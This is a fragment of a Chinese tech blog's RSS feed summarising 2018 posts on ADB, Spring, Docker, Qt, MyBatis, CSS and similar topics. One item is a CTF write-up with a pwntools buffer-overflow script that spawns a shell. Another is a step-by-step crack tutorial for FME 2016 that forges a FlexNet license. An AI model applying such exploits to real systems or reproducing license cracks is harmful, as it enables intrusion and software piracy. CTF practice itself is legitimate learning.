com.tencent.mobileqq&#xA;5、PM包命令&#xA;1）获取模拟器所有包名&#xA;adb shell pm list packages&#xA;2）获取模拟器所有包名并且包括APK路径</description>
    </item>
    <item>
      <title>required string parameter ‘XXX‘is not present 的几种情况</title>
      <link>https://bchobby.github.io/posts/8c7993e5480a1f2363bfaa7928029b14/</link>
      <pubDate>Mon, 15 Oct 2018 17:20:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c7993e5480a1f2363bfaa7928029b14/</guid>
      <description>required string parameter &#39;XXX&#39;is not present 的几种情况&#xA;情况一：原因是由于头文件类型不对，可以在MediaType中选择合适的类型，例如GET和POST&#xA;情况二：jquery提交delete时，不支持@RequestParam，只支持@PathVariable形式&#xA;情况三：若api在调用的时候，如果存在重类型，但不重名；例如：/id与/name，两者在类型上是一样的&#xA;情况四：这里提示Required String parameter &#39;XXX&#39; is not present并不一定是XXX的错，也有可能是后面的参数错误。总的来说就是页面传递的参数和后台接受参数名自不匹配。&#xA;情况五：传递的参数里面包含特殊符号，比如前台传递字符串不能包含逗号等。（待证明）&#xA;情况六：传的参数是undefined；&#xA;情况七：换一种请求方式试试，比如现在用的是POST提交方式，改为GET/PUT等其他方式。</description>
    </item>
    <item>
      <title>高版本JDK的项目在低版本运行报 a jni error has occurred  错误解决方法</title>
      <link>https://bchobby.github.io/posts/0c97655e9b6e8a408cc6231aeebdfb84/</link>
      <pubDate>Sun, 14 Oct 2018 14:20:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c97655e9b6e8a408cc6231aeebdfb84/</guid>
      <description>这个问题确实是由较高版本的JDK编译的java class文件试图在较低版本的JVM上运行产生的错误。&#xA;1、解决措施就是保证jvm（java命令）和jdk（javac命令）版本一致。如果是linux版本，则在命令行中分别输入java -version和javac -version命令来查看版本是否一致。这里假设都是1.7版本。&#xA;2、如果都一致，但还是解决不了问题，那么你肯定不是直接在命令行中用javac来编译的，而是用类似于eclipse、netbeans这样的编译器来编译的。因为很多编译器都自带javac，而不是采用操作系统中的编译器。如果你的编译器是eclipse的话，那么需要在项目的属性里设置jdk版本，方法是右击项目--&amp;gt;properties--&amp;gt;java compiler --&amp;gt; Enable project specific settings --&amp;gt;将compiler compliance level设置为1.7，也就是与jvm一致的版本（在命令行中java -version所显示的版本）。&#xA;综上，如果你是用编译器来编译的话，请首先确保编译器自带的jdk版本是否和操作系统中的java版本一致。</description>
    </item>
    <item>
      <title>【ASP.Net Core】发布并在Docker中运行服务器</title>
      <link>https://bchobby.github.io/posts/784d113eaa80f3a10adc9e10ed480b7f/</link>
      <pubDate>Sun, 14 Oct 2018 09:56:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/784d113eaa80f3a10adc9e10ed480b7f/</guid>
      <description>一、Linux环境问题 现在要部署一个用ASP.Net Core 2.1开发的服务器到CentOS6系统上，因为只是临时用下，所以打算直接独立发布，这样服务器上不用装asp runtime也可以跑起来，就是一个绿色程序的概念，和go一样，丢上去就能跑&#xA;注意&#34;部署模式&#34;选择的独立，运行时选择的linux-x64。&#xA;但是因为CentOS6这个系统自带的libc/libstdc++版本都很低，而ASP.Net Core 2.1生成的程序依赖的版本高，所以它依然跑不起来，作为linux小白的我，折腾半天后放弃了，决定改用Docker。&#xA;二、使用Docker 网上大部分教程都是采用编写Dockerfile文件的方法，然后打包程序到一个新镜像中，而我不用这种方法。我这里直接通过docker运行本地程序。&#xA;1、拉取镜像文件&#xA;拉取微软官方aspcore runtime镜像文件，执行“docker pull microsoft/dotnet:aspnetcore-runtime”，注意这里使用的是带“aspnetcore-runtime”TAG的镜像，这个镜像才有runtime。如果需要拉取特定的版本，比如2.1版本，可以用“docker pull microsoft/dotnet:2.1-aspnetcore-runtime”这样的写法，更多说明见https://hub.docker.com/r/microsoft/dotnet&#xA;拉取成功后通过“docker images”来查看&#xA;2、发布程序&#xA;注意部署模式改为“框架依赖”，目标运行时改为“可移植”。发布成功后将文件拷贝到服务器上，比如我放在“/home/www”下面。&#xA;最后执行“docker run -d -p 5000:80 -v /home/www:/app --workdir /app microsoft/dotnet:aspnetcore-runtime dotnet /app/MyServer.dll”，服务器就能跑起来了！&#xA;-d参数表示容器在后台运行，我们不需要进入到容器。&#xA;-p参数表示端口映射，“-p 5000:80”表示将容器的80端口映射到本地5000端口。&#xA;-v参数表示目录映射，将服务器的/home/www目录挂到容器的/app目录。&#xA;--workdir参数表示容器中服务程序的工作路径，也就是我们映射的/app目录。&#xA;“microsoft/dotnet:aspnetcore-runtime”表示要运行的镜像。&#xA;最后的&#34;dotnet /app/MyServer.dll&#34;表示容器启动后要执行的命令，这里也就是启动服务程序了，MyServer.dll是我的主程序文件名，你们修改为自己的即可。&#xA;最后可以通过&#34;docker ps&#34;来查看正在运行中的容器。</description>
    </item>
    <item>
      <title>护网杯pwn题目gettingStart</title>
      <link>https://bchobby.github.io/posts/0c1aba3abc669141a9ffe3bebe760e4c/</link>
      <pubDate>Sat, 13 Oct 2018 22:38:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c1aba3abc669141a9ffe3bebe760e4c/</guid>
      <description> 拖进IDA 通过main函数的代码显而易见&#xA;v7需要等于0x7FFFFFFFFFFFFFF以及v8需要等于0.1&#xA;通过buf进行覆盖即可&#xA;0.1在内存中的值为4591870180066957722&#xA;double a = 0.1; printf(&#34;%lld\n&#34;, *(long long*)&amp;amp;a); //输出4591870180066957722 编写脚本&#xA;from pwn import * r = remote(&#39;xxxxxxx&#39;,port) #此处填写你的题目ip和端口 r.send(b&#34;a&#34;*0x18+p64(0x7FFFFFFFFFFFFFF)+p64(4591870180066957722)) r.interactive() #进入shell交互后 #输入ls可以看到目录下有个flag文件 #cat flag即得到答案 </description>
    </item>
    <item>
      <title>QT界面布局之QGridLayout网格布局</title>
      <link>https://bchobby.github.io/posts/8b61231e0f9ecb1f879fe0459b027873/</link>
      <pubDate>Sat, 13 Oct 2018 20:07:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b61231e0f9ecb1f879fe0459b027873/</guid>
      <description>之前一直用拖控件的方式来做ui界面，最大的心得就是，要充分利用“布局类型”和“弹簧”。&#xA;但是对于动态界面来说（例如，用户点击某个按钮后，要在界面中添加一个新控件），通过拖拽设计的ui就力不从心了。&#xA;今天记录下如何用代码来添加布局，并把各个空间放置到这个布局中去。&#xA;在ui设计师拖拽空间的界面，我们可以看到共有4种布局类型：&#xA;用法都是差不多的，这里以网格类型为例，QGridLayout。&#xA;布局类的代码可以这样，在ui中拖入一些控件并设置布局，然后读读QT自动生成的这个函数就能学会了：&#xA;1、设置布局所在的控件&#xA;布局必须被某个widget接管才能有效（也即给某个widget设置布局），一般我们会给容器类的控件设置布局，例如：窗口QDialog、组QGroupBox、框QFrame等等。&#xA;也即每个布局必须依附于某个widget才行，有两种方法：&#xA;（1）构造时直接设置：代码为QGridLayout(QWidget *parent)，&#xA;（2）例如：frameGridLayout.setParent(ui-&amp;gt;checkBoxFrame-&amp;gt;layout())；注意：布局类的parent必须也是布局类，而不能是QWidget。&#xA;（3）直接给QWidget设置布局：&#xA;QGridLayout my_GridLayout;&#xA;ui-&amp;gt;groupBox_2-&amp;gt;setLayout(&amp;amp;my_GridLayout);&#xA;2、向布局中添加控件和弹簧&#xA;添加控件的3个重载函数为：&#xA;（1）void QLayout::addWidget(QWidget *wwidget)&#xA;（2）void QGridLayout::addWidget(QWidget *widget, int row, int column, Qt::Alignment alignment = Qt::Alignment())&#xA;（3）void QGridLayout::addWidget(QWidget *widget, int fromRow, int fromColumn, int rowSpan, int columnSpan, Qt::Alignment alignment = Qt::Alignment())&#xA;形参解释：widget要放置的控件指针；row/column将控件放在第几行几列中；fromRow从第几行开始放；rowSpan总共要占几行；alignment为控件在网格中的布局方式，有：靠上/下/左/右、居中、自适应文字等方式。&#xA;添加弹簧和添加控件类似，只不过用的是addItem，自行查阅帮助即可</description>
    </item>
    <item>
      <title>Linux下使用JTAG</title>
      <link>https://bchobby.github.io/posts/48f7ed569b8637ed95aa7d103c8a9b3c/</link>
      <pubDate>Fri, 12 Oct 2018 22:48:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48f7ed569b8637ed95aa7d103c8a9b3c/</guid>
      <description> Ubuntu 下的Linux打开Programer之后找不到Jtag硬件，原因是没有启动守护进程。&#xA;这里有一篇文章讲述如何设置jtag的权限，让普通用户可以访问&#xA;http://www.fpga-dev.com/altera-usb-blaster-with-ubuntu/&#xA;其实不需要这么复杂，只需要使用root权限启动jtag daemon就可以了：&#xA;sudo /tools/intelFPGA/18.1_pro/quartus/bin/jtagd 这时输入 jtagconfig可以看到： 1) A10P3S [1-1.1]&#xA;02E660DD 10AX115H1(.|E2|ES)/10AX115H2/..&#xA;[1]+ Done </description>
    </item>
    <item>
      <title>MyBatis（一） 概述与SQL定制、对象映射</title>
      <link>https://bchobby.github.io/posts/f99ce7dbce95bc72e268b5eebd5b8d8a/</link>
      <pubDate>Thu, 11 Oct 2018 21:01:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f99ce7dbce95bc72e268b5eebd5b8d8a/</guid>
      <description>个人博客网：https://wushaopei.github.io/ (你想要这里多有) 一、MyBatis概述 1、mybatis简介 MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架。&#xA;MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。&#xA;MyBatis可以使用简单的XML或注解用于配置和原始映射，将接口和Java的POJO（Plain Old Java Objects，普通的Java对象）映射成数据库中的记录.&#xA;2、mybatis历史 原是apache的一个开源项目iBatis, 2010年6月这个项目由apache software foundation 迁移到了google code，随着开发团队转投Google Code旗下，ibatis3.x正式更名为Mybatis ，代码于2013年11月迁移到Github（下载地址见后）。&#xA;iBATIS一词来源于“internet”和“abatis”的组合，是一个基于Java的持久层框架。iBATIS提供的持久层框架包括SQL Maps和Data Access Objects（DAO）&#xA;3、为什么要使用mybatis MyBatis是一个半自动化的持久化层框架。&#xA;jdbc编程---当我们使用jdbc持久化的时候，sql语句被硬编码到java代码中。这样耦合度太高。代码不易于维护。在实际项目开发中会经常添加sql或者修改sql，这样我们就只能到java代码中去修改。&#xA;Hibernate和JPA&#xA;长难复杂SQL，对于Hibernate而言处理也不容易&#xA;内部自动生产的SQL，不容易做特殊优化。&#xA;基于全映射的全自动框架，javaBean存在大量字段时无法只映射部分字段。导致数据库性能下降。&#xA;对开发人员而言，核心sql还是需要自己优化&#xA;sql和java编码分开，功能边界清晰，一个专注业务、一个专注数据。&#xA;可以使用简单的XML或注解用于配置和原始映射，将接口和Java的POJO映射成数据库中的记录。成为业务代码+底层数据库的媒介&#xA;4、理解 SqlSession及其子父类的含义！ SqlSession的使用范围&#xA;SqlSession中封装了对数据库的操作，如：查询、插入、更新、删除等。SqlSession通过SqlSessionFactory创建。SqlSessionFactory是通过SqlSessionFactoryBuilder进行创建。 SqlSessionFactoryBuilder&#xA;SqlSessionFactoryBuilder用于创建SqlSessionFacoty，SqlSessionFacoty一旦创建完成就不需要SqlSessionFactoryBuilder了，因为SqlSession是通过SqlSessionFactory创建的。所以可以将SqlSessionFactoryBuilder当成一个工具类使用，最佳使用范围是方法范围即方法体内局部变量。&#xA;SqlSessionFactory&#xA;SqlSessionFactory是一个接口，接口中定义了openSession的不同重载方法，SqlSessionFactory的最佳使用范围是整个应用运行期间，一旦创建后可以重复使用，通常以单例模式管理SqlSessionFactory。&#xA;SqlSession&#xA;SqlSession是一个面向用户的接口，sqlSession中定义了数据库操作方法。&#xA;每个线程都应该它自己的SqlSession实例。SqlSession的实例不能共享使用，它也是线程不安全的。因此最佳的范围是请求或方法范围。绝对不能将SqlSession实例的引用放在一个类的静态字段或实例字段中。&#xA;二、MyBatis的Hello示例程序 1、创建一个数据库和一个单表 drop database if exists mybatis; create database mybatis; use mybatis; ## 创建单表 #################################################################### create table t_user( `id` int primary key auto_increment, `last_name`&#x9;varchar(50), `sex` int ); insert into t_user(`last_name`,`sex`) values(&#39;wsp168&#39;,1); select * from t_user; 2、搭建mybatis开发环境 创建一个java工程</description>
    </item>
    <item>
      <title>微信小程序登录Java后台接口</title>
      <link>https://bchobby.github.io/posts/46750ca9f8cb5f5cc1fc575cf676dc29/</link>
      <pubDate>Thu, 11 Oct 2018 15:40:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46750ca9f8cb5f5cc1fc575cf676dc29/</guid>
      <description>微信小程序登录java后台接口 首先看一下微信小程序的开发文档：&#xA;微信小程序开发文档&#xA;步骤： 小程序端向微信接口服务发送请求——wx.login()；获取到登录临时凭证code小程序端拿着获取到的code向后台(这里是java服务端)，使用wx.request()向自己的服务器发送请求（接口服务器自己定义）后台服务器拿着小程序端传过来的code，以及自己的APPID，secretKey向微信方发送HttpGet请求后台服务器获取到微信方返回回来的openId，session_key，然后加上自己本地的登录状态（本地自己定义），发送给小程序端小程序端接收到后台传输过来的登录状态，保存到storage中以供以后使用。 具体实现步骤 小程序端 随便弄一个按钮，绑定下面的方法&#xA;//与后端通信 bindtest: function (){ wx.login({ success:res=&amp;gt;{ let _code=res.code; //获取到code之后再发送给后端 wx.request({ url: &#39;http://localhost:8080/login&#39;, data:{ code:_code, }, method:&#39;POST&#39;, header: { &#39;content-type&#39;: &#39;application/x-www-form-urlencoded&#39; // 默认是json }, success: function (res) { console.log(res.data); }, fail: function (res) { console.log(&#34;.....fail.....&#34;); } }) } }) } java服务器端 package com.kylin.wxtest.controller; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.kylin.wxtest.bean.Login; import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.springframework.web.bind.annotation.GetMapping; import org.</description>
    </item>
    <item>
      <title>FME、MYFME安装破解教程</title>
      <link>https://bchobby.github.io/posts/7d9e05972957d2800a25655f14dcd70f/</link>
      <pubDate>Thu, 11 Oct 2018 12:18:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d9e05972957d2800a25655f14dcd70f/</guid>
      <description>FME安装包和破解链接：&#xA;https://pan.baidu.com/s/1wU5kkvNBkY3tb1BsKuAdtg 提取码：edin&#xA;MYFME:(针对国产数据，如MAPGIS的插件)&#xA;安装包和破解链接:&#xA;链接：https://pan.baidu.com/s/1fflJsaBtcYCDSvkAsSpkIQ 提取码：j5qb&#xA;一、装他&#xA;（1）打开fme2016文件夹，找到fme-desktop-b16492-win-x86并点击安装。&#xA;（2）点I agree, 点next。&#xA;（3）选择你想装的地方，不要忘了。这里是默认的。&#xA;（4）一路默认next即可。&#xA;（这里可以点掉√）&#xA;（5）完成安装。文件夹里还有一个汉化包，可以装，但没必要。&#xA;这里会弹出来一个验证窗口，不要管他，也不要关掉。&#xA;二、破他&#xA;（1）找到文件夹里的AMPEDX64（64位的，如果你的电脑是32位的就在文件夹外面用FME2016 CRACK里的AMPED）,打开fme-flexnet-wein.x64.msi。&#xA;选择你想安装的地方，同样别忘了。这里是默认的。&#xA;（2）装好了之后，会弹出来一个hostid的记事本，不要关掉。&#xA;（如果你不小心关掉了这个文件夹，有两种方法可以找到hostid：&#xA;一是打开命令提示符，输入ipconfig /all，按回车键，此时会列出有关你计算机的详细信息，包括计算机名和物理地址；二是打开你刚才安装fme-flexnet-win-x86.msi时的存储文件夹，里面有一个hostid.txt文件，实际上这个文件的作用就是记录你电脑名和物理地址信息。不管哪种方法，你要做的就是复制你的电脑名和物理地址，替换COMPUTER_NAME HOSTID（需要注意的是，物理地址字符串之间用横线相连，替换的时候，把横线删掉）。）&#xA;（3）安装完之后，打开license_gen文件夹里的dummy.txt，修改第一行信息：&#xA;SERVER COMPUTER_NAME HOSTID并且在后面加上27005&#xA;以本机为例，第一行就应该修改为SERVER nashi 086266b625e7 40e230ad29db 27005&#xA;注意把HOSTNAME=删了。&#xA;（4）双击点击makekey.bat，然后将safe.lic复制到刚才的安装fme-flexnet-win-x86.msi时的存储文件夹FlexServer文件夹下。&#xA;（5）打开开始菜单，打开launch lmtools面板，点击config service,此时需要指定三个文件，第一imgrd，文件位置为你刚才安装fme-flexnet-win-x86.msi时的文件夹里的imgrd.exe；第二license，文件位置为你刚才安装fme-flexnet-win-x86.msi时的文件夹里的safe.lic；第三debug log，文件位置为你刚才安装fme-flexnet-win-x86.msi时的文件夹里的safe.log。然后点击右侧save service按钮，点击确定。&#xA;切换start/stop/reread，先点击start server，底下会显示start successfully，然后点击reread license，底下会显示reread license completed。&#xA;（6）至此，破解完成，此时回到第三步安装界面，点击connect to a floating license server，在方框中输入你的计算机名，此计算机名与前面的严格一致，点击next，此时，license type列出了所有支持扩展的类型，理论上随便选择哪一个都可以激活成功，看你个人需要，一般默认第一个smallworld edition就行了。&#xA;激活成功以后，就可以使用FME2016了。&#xA;安装MYFME2016是小白安装，一直往下点就可以了，不过使用的时候需要把电脑时间调回到2017年，因为许可时间在2017年。&#xA;BY 越仔&amp;amp;橄榄&#xA;heyhey</description>
    </item>
    <item>
      <title>springboot学习收获</title>
      <link>https://bchobby.github.io/posts/a35303bfdb511aa3bca10fbd236a24bd/</link>
      <pubDate>Thu, 11 Oct 2018 09:40:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a35303bfdb511aa3bca10fbd236a24bd/</guid>
      <description>自己一些总结&#xA;修改网站小图标 1、在application.properties中配：spring.mvc.favicon.enabled = false&#xA;2、网站图片命名为favicon.ico;&#xA;3、将favicon.ico放在resources/static目录下；&#xA;4、ok，结束ヾ(◍°∇°◍)ﾉﾞ&#xA;启动彩蛋 springboot项目启动总会打印一下内容，想要更换怎么办？&#xA;. ____ _ __ _ _ /\\ / ___&#39;_ __ _ _(_)_ __ __ _ \ \ \ \ ( ( )\___ | &#39;_ | &#39;_| | &#39;_ \/ _` | \ \ \ \ \\/ ___)| |_)| | | | | || (_| | ) ) ) ) &#39; |____| .__|_| |_|_| |_\__, | / / / / =========|_|==============|___/=/_/_/_/ :: Spring Boot :: (v1.</description>
    </item>
    <item>
      <title>springboot中的过滤器</title>
      <link>https://bchobby.github.io/posts/36c777bf4165426aeed237e300decfab/</link>
      <pubDate>Thu, 11 Oct 2018 09:39:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36c777bf4165426aeed237e300decfab/</guid>
      <description>做api项目，各个接口都有对应的权限。所以使用过滤器对各个请求进行过滤。以下是学习的简单总结。&#xA;springboot中使用filter 在springboot项目中使用filter，需要注入bean：&#xA;@SpringBootApplication //等同于 @Configuration @EnableAutoConfiguration @ComponentScan public class SpringbootFilterDemoApp { public static void main(String[] args) { SpringApplication.run(SpringbootFilterDemoApp.class, args); } @Bean public FilterRegistrationBean filterRegistrationBean() { FilterRegistrationBean registrationBean = new FilterRegistrationBean(); registrationBean.setFilter(new AuthorizationFilter()); // 自己的filter List&amp;lt;String&amp;gt; urlPatterns = new ArrayList&amp;lt;&amp;gt;(); urlPatterns.add(&#34;/openapi/*&#34;); registrationBean.setUrlPatterns(urlPatterns); return registrationBean; } } 过滤器filter 以下是自己的filter类。继承Filter接口，对于满足条件的请求，使用filterChain.doFilter(request, response);将连接转发到目的地，不满足，则直接通过response写入错误信息。&#xA;/** * 过滤器：校验接口访问权限 */ public class AuthorizationFilter implements Filter{ private static final Logger logger = LoggerFactory.getLogger(AuthorizationFilter.class); private CheckAuth checkAuth; @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { // 将请求转换成HttpServletRequest 请求 HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse rsp = (HttpServletResponse) servletResponse; // 取得接口URI String currentURI = req.</description>
    </item>
    <item>
      <title>django restframework PrimaryKeyRelatedField筛选的困惑</title>
      <link>https://bchobby.github.io/posts/735ec2ae7a070058fbd236b917d5f994/</link>
      <pubDate>Wed, 10 Oct 2018 21:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/735ec2ae7a070058fbd236b917d5f994/</guid>
      <description>一.在开发某运动app时，遇见以下情况 1.部分表内容如下： class Sports(models.Model): &#39;&#39;&#39; 运动表 &#39;&#39;&#39; school = models.ForeignKey(Schools, verbose_name=&#39;学校&#39;, on_delete=models.CASCADE) sport_name = models.CharField(max_length=30, verbose_name=&#39;运动项目&#39;) image = models.ImageField(upload_to=&#39;sports/%Y/%m&#39;, verbose_name=&#39;运动封面图&#39;) add_time = models.DateTimeField(default=datetime.now, verbose_name=&#39;添加时间&#39;) class Meta: verbose_name = &#39;运动项目&#39; verbose_name_plural = verbose_name unique_together = (&#39;school&#39;, &#39;sport_name&#39;) def __str__(self): return self.sport_name class Schedule(models.Model): &#39;&#39;&#39; 发起约运动 &#39;&#39;&#39; Status = ((1, &#39;已完成&#39;), (2, &#39;待人加入&#39;), (3, &#39;已取消&#39;)) user = models.ForeignKey(UserProfile, on_delete=models.CASCADE, verbose_name=&#39;发起人&#39;) join_type = models.BooleanField(verbose_name=&#39;是否发起人&#39;) now_people = models.IntegerField(verbose_name=&#39;已有人数&#39;, null=True, blank=True) school = models.ForeignKey(Schools, on_delete=models.</description>
    </item>
    <item>
      <title>CSS中的三种基本的定位机制</title>
      <link>https://bchobby.github.io/posts/660c90114f94e7432fcb1e1fc7c0c8b6/</link>
      <pubDate>Wed, 10 Oct 2018 18:44:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/660c90114f94e7432fcb1e1fc7c0c8b6/</guid>
      <description>css定位机制 普通流定位 相对定位：absolute绝对定位：relative固定定位：fixed 浮动 普通流 简介： 默认是普通流，普通流中元素框的位置由元素在HTML中的位置决定。块级元素从上到下依次排列，框之间的垂直距离由框的垂直margin计算得到；行内元素在一行中水平布置 定位 扩展：使用了position/浮动之后，top、left的设置才有效果 相对定位 简介：相对————指的是相对于普通流的时候的位置，可以相对于普通流时候的位置进行上下左右的移动注意：使用相对定位的元素不管它是否进行移动，元素仍要占据它原来的位置。移动元素会导致它覆盖其他的框。 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .myDiv1{ background-color: red; width: 200px; height: 200px; } .myDiv2{ position: relative; background-color: blue; width: 200px; height: 200px; top: 100px; left: 100px; } .myDiv3{ background-color: burlywood; width: 200px; height: 200px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;myDiv1&#34;&amp;gt;你看我&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;myDiv2&#34;&amp;gt;你看我&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;myDiv3&#34;&amp;gt;你看我&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 绝对定位 简介：相对于最近的父类元素,如果没有————那么就是相对于body标签,绝对定位是相对于父亲来进行上下左右的移动注意：绝对定位的框脱离普通流，所以它可以覆盖页面上的其他元素，可以通过设置Ｚ-Iindex属性来控制这些框的堆放次序 &amp;lt;!</description>
    </item>
    <item>
      <title>设计模式 | 模板方法模式及典型应用</title>
      <link>https://bchobby.github.io/posts/03ae8392be23b813a19aa0e50b1a3f6a/</link>
      <pubDate>Wed, 10 Oct 2018 16:44:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03ae8392be23b813a19aa0e50b1a3f6a/</guid>
      <description>本文的主要内容：&#xA;介绍模板方法模式源码分析模板方法模式的典型应用 Servlet 中的模板方法模式Mybatis BaseExecutor接口中的模板方法模式 更多内容可访问我的个人博客：laijianfeng.org&#xA;欢迎关注【小旋锋】微信公众号，及时接收博文推送&#xA;模板方法模式 在程序开发中，经常会遇到这种情况：某个方法要实现的算法需要多个步骤，但其中有一些步骤是固定不变的，而另一些步骤则是不固定的。为了提高代码的可扩展性和可维护性，模板方法模式在这种场景下就派上了用场。&#xA;譬如制作一节网课的步骤可以简化为4个步骤：&#xA;制作PPT录制视频编写笔记提供课程资料 其中1、2、3的动作在所有课程中的固定不变的，步骤3可有可无，步骤4在每个课程都不同（有些课程需要提供源代码，有些需要提供图片文件等）&#xA;我们可以在父类中确定整个流程的循序，并实现固定不变的步骤，而把不固定的步骤留给子类实现。甚至可以通过一个钩子方法，让子类来决定流程中某个方法的执行与否&#xA;模板方法模式：定义一个操作中算法的框架，而将一些步骤延迟到子类中。模板方法模式使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。模板方法模式是一种基于继承的代码复用技术，它是一种类行为型模式。&#xA;角色 AbstractClass（抽象类）：在抽象类中定义了一系列基本操作(PrimitiveOperations)，这些基本操作可以是具体的，也可以是抽象的，每一个基本操作对应算法的一个步骤，在其子类中可以重定义或实现这些步骤。同时，在抽象类中实现了一个模板方法(Template Method)，用于定义一个算法的框架，模板方法不仅可以调用在抽象类中实现的基本方法，也可以调用在抽象类的子类中实现的基本方法，还可以调用其他对象中的方法。&#xA;ConcreteClass（具体子类）：它是抽象类的子类，用于实现在父类中声明的抽象基本操作以完成子类特定算法的步骤，也可以覆盖在父类中已经实现的具体基本操作。&#xA;一个模板方法是定义在抽象类中的、把基本操作方法组合在一起形成一个总算法或一个总行为的方法。这个模板方法定义在抽象类中，并由子类不加以修改地完全继承下来。模板方法是一个具体方法，它给出了一个顶层逻辑框架，而逻辑的组成步骤在抽象类中可以是具体方法，也可以是抽象方法。&#xA;基本方法是实现算法各个步骤的方法，是模板方法的组成部分。基本方法又可以分为三种：抽象方法(Abstract Method)、具体方法(Concrete Method)和钩子方法(Hook Method)。&#xA;抽象方法：一个抽象方法由抽象类声明、由其具体子类实现。具体方法：一个具体方法由一个抽象类或具体类声明并实现，其子类可以进行覆盖也可以直接继承。钩子方法：可以与一些具体步骤 &#34;挂钩&#34; ，以实现在不同条件下执行模板方法中的不同步骤 示例 所以我们通过模板方法模式，在抽象类中把整个流程固定下来，其中1、2、3的实现在抽象类中完成，3的执行与否则由子类通过钩子方法来控制，4则由子类来实现&#xA;抽象类定义如下：&#xA;public abstract class ACourse { protected final void makeCourse() { this.makePPT(); this.makeVideo(); if (needWriteArticle()) { this.writeArticle(); } this.packageCourse(); } final void makePPT() { System.out.println(&#34;1. 制作PPT&#34;); } final void makeVideo() { System.out.println(&#34;2. 制作视频&#34;); } final void writeArticle() { System.out.println(&#34;3. 编写课程笔记&#34;); } //钩子方法 protected boolean needWriteArticle() { return false; } abstract void packageCourse(); } 复制代码 其中的 makeCourse 方法是模板方法，它定义了制作网课的基本流程，makePPT、makeVideo、writeArticle 这三个步骤在所有课程中都是固定的，所以用 final 关键字修饰；packageCourse 方法在所有课程中都可能不一样，所以声明为抽象方法，由子类自行实现；钩子方法 needWriteArticle 返回一个 boolean 类型的值，控制是否编写课程笔记</description>
    </item>
    <item>
      <title>嵌入式测试 模拟共享单车</title>
      <link>https://bchobby.github.io/posts/2f1340bf86f21dcfaf547e93a2325a5a/</link>
      <pubDate>Wed, 10 Oct 2018 10:14:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f1340bf86f21dcfaf547e93a2325a5a/</guid>
      <description>题目分享：链接：https://pan.baidu.com/s/1P16uKgLtrLjIl1o5Jo9y1Q 密码：nmbs&#xA;模拟共享单车&#xA;//功能三描述 2.3 位置信息的接收处理（GN_WZ） GPS 模块定时（1s）向外发送位置信息，锁具控制模块接收并处理 GPS 发送 位置信息。 序号 数据名称 单位 范围 1 经度 度 0-180 2 经度标志位 固定值 0X45（E-东经），0X57（W-西经） 3 纬度 度 0-90 4 纬度标志位 固定值 0X4E（N-北纬），0X53（S-南纬） 由于位置信息是 GPS 模块定时发送的，为可靠性起见，需要进行如下容错处 理： 1、当接收到的位置信息超出范围时，该 GPS 数据帧无效，做丢包处理，锁 具控制模块使用上一帧的信息； 2、经纬度标志位不正确时，锁具控制模块使用上一帧的位置信息。 3、经度、纬度四舍五入方式保留三位小数。 测试代码示例：&#xA;import Manu ############标准测试模板####################### ## Test:测试数据执行函数体，【测试数据】每一行数据调用一次Test ## arg:输入参数 ## exp：预期输出 def Test(arg,exp): print &#39;Hello World!&#39; for a in arg: print a for e in exp: print e Protocol_gpstime.Hour.Value=arg[0] Protocol_gpstime.</description>
    </item>
    <item>
      <title>eclipes根据Java代码自动生成UML类图</title>
      <link>https://bchobby.github.io/posts/c5e66d906ead7fbcc91f8da3de202384/</link>
      <pubDate>Wed, 10 Oct 2018 00:17:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5e66d906ead7fbcc91f8da3de202384/</guid>
      <description>懒惰使人进步。。。&#xA;比起敲代码，设计UML图的过程真的繁琐，既然繁琐，肯定就有插件可以一键生成！&#xA;然后百度发现果然有好多插件，抛去一部分版本太老的插件和教程繁琐的之后，我选择了modelgoon插件。&#xA;下载地址：&#xA;链接：https://pan.baidu.com/s/1LNQ6jFbVEUnv3MJC87_zEA 密码：omke&#xA;最后直接下载到桌面可以找到。&#xA;然后点击菜单栏的 help &amp;gt;&amp;gt; Install new Software&#xA;剩下的就是一直 next了，安装就行了&#xA;安装完，要重启一些eclipes&#xA;那么如何使用&#xA;在需要生成UML类图的项目上右键 点击 new &amp;gt;&amp;gt; other 选择第一个即可，然后起个名字，会生成.mgc文件&#xA;最后直接将项目下的java文件往 .mgc文件拖就行了</description>
    </item>
    <item>
